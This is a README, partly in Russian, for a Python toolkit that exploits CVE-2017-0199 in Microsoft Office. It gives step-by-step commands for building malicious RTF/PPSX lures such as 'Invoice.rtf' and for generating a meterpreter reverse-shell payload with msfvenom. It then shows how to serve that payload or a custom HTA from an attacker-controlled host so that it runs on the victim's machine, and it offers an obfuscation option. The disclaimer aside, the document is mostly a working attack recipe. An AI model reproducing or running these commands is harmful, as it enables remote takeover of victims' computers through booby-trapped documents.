
Python-скрипт для генерации вредоносных RTF/PPSX-файлов, эксплуатирующих CVE-2017-0199 для удалённого выполнения кода, с доставкой полезных нагрузок Metasploit или пользовательских с минимальной настройкой.
Эксплойт-инструментарий CVE-2017-0199 - v4.0 — это удобный python-скрипт, который предоставляет пентестерам и исследователям безопасности быстрый и эффективный способ тестирования RCE в Microsoft Office. Он может генерировать вредоносный RTF/PPSX-файл и доставлять metasploit / meterpreter / другую полезную нагрузку жертве без какой-либо сложной настройки.
Эта программа предназначена ТОЛЬКО для образовательных целей. Не используйте её без разрешения. Применяется обычный отказ от ответственности, особенно тот факт, что я (bhdresh) не несу ответственности за любой ущерб, вызванный прямым или косвенным использованием информации или функциональности, предоставляемой этими программами. Автор или любой интернет-провайдер НЕ несёт ответственности за содержание или неправомерное использование этих программ или любых их производных. Используя эту программу, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.п.), причинённый использованием этих программ, не является ответственностью bhdresh.
Наконец, это личная разработка, пожалуйста, уважайте её философию и не используйте её во вред!
Лицензия CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
В скрипт добавлены следующие возможности
- Generate Malicious PPSX file
- Exploitation mode for generated PPSX file
- Updated template.ppsx
Версия: Python версии 2.7.13
1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver remote payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) Start toolkit in exploit mode to deliver custom HTA file
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.doc (This URL will be included in malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
-t RTF|PPSX (default = RTF) Type of the file to be generated.
-x 0|1 (default = 0) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.
-M exp Start exploitation mode
Exploitation:
-t RTF|PPSX (default = RTF) Type of file to be exolited.
-H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l"
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
@nixawk за образец RTF, @Li Haifei, @bhdresh
Очевидно, я не разработчик на полную ставку, поэтому возможны некоторые сбои.
Пожалуйста, сообщайте об ошибках и проблемах через https://github.com/bhdresh/CVE-2017-0199/issues/new